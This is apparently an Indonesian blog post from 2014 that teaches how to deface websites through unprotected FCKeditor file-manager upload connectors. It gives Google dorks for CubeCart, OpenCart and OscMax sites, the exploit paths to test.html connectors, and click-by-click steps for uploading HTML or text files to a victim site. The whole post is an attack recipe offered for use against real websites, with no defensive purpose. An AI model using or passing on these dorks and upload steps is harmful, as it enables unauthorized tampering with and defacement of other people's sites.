Monday, 2 June 2014
Deface Webseit Dengan Teknik Fck Editor
Deface website dengan teknik FckEditor ini adalah
teknik yang paling mudah dalam mendeface sebuah
website
Teknik deface Fck Editor dibagi menjadi 4 yaitu :
1. Powered CubeCart
Adalah module Deface Upload file, kita bisa
menggunakan cara ini.
Dork : Powered By CubeCart V 3.0
Exploit : /admin/includes/rte/editor/filemanager/
browser/default/connectors/test.html
Contoh: www.target.com/admin/includes/rte/editor/
filemanager/browser/default/connectors/test.html
2. Powered By OpenCart
Dork : Powered By OpenCart
Exploit: admin/view/javascript/fckeditor/editor/
filemanager/connectors/test.html
Contoh : www.target.com/admin/view/javascript/
fckeditor/editor/filemanager/connectors/test.html
3. Powered By OscMax V 2.0
Dork : Powered By OscMax V 2.0
Exploit : FCKeditor/editor/filemanager/browser/default/
connectors/test.html
Contoh ;www.target.com/FCKeditor/editor/filemanager/
browser/default/connectors/test.html
4. Hacking TXt.
Hacking Txt ini sama saja dengan Konsep 3 di atas it,
cuma bedany khusus fiile txt saja yg bisa di upload,
bentuk file lain tdk akan mnerima
Dork : Inurl:/FCKeditor/editor/filemanager/
Exploit : /FCKeditor/editor/filemanager/browser/
default/connectors/test.html
Contoh: www.target.com/FCKeditor/editor/filemanager/
browser/default/connectors/test.html
dengan mencarinya dengan google dork atau
mengexploit urlnya langsung ( tidak semua website
support dengan cara fck editor sebaiknya anda
mencarinya dengan google dork saja )
Jika sudah ketemu url target maka akan muncul
tampilan seperti ini.
Ganti connectornya menjadi PHP
Klik choose file sesuai jenis website jika opencart anda
bisa upload file html tetapi jika bukan biasanya hanya
bisa upload file txt
Klik Upload
Jika berhasil maka akan muncul pesan "File Upload No
Error"
Klik Get folder untuk mendapatkan URL file yang di
Upload
Belajar Hacking memang gampang-gampang susah
sob (^_^)
Post a Comment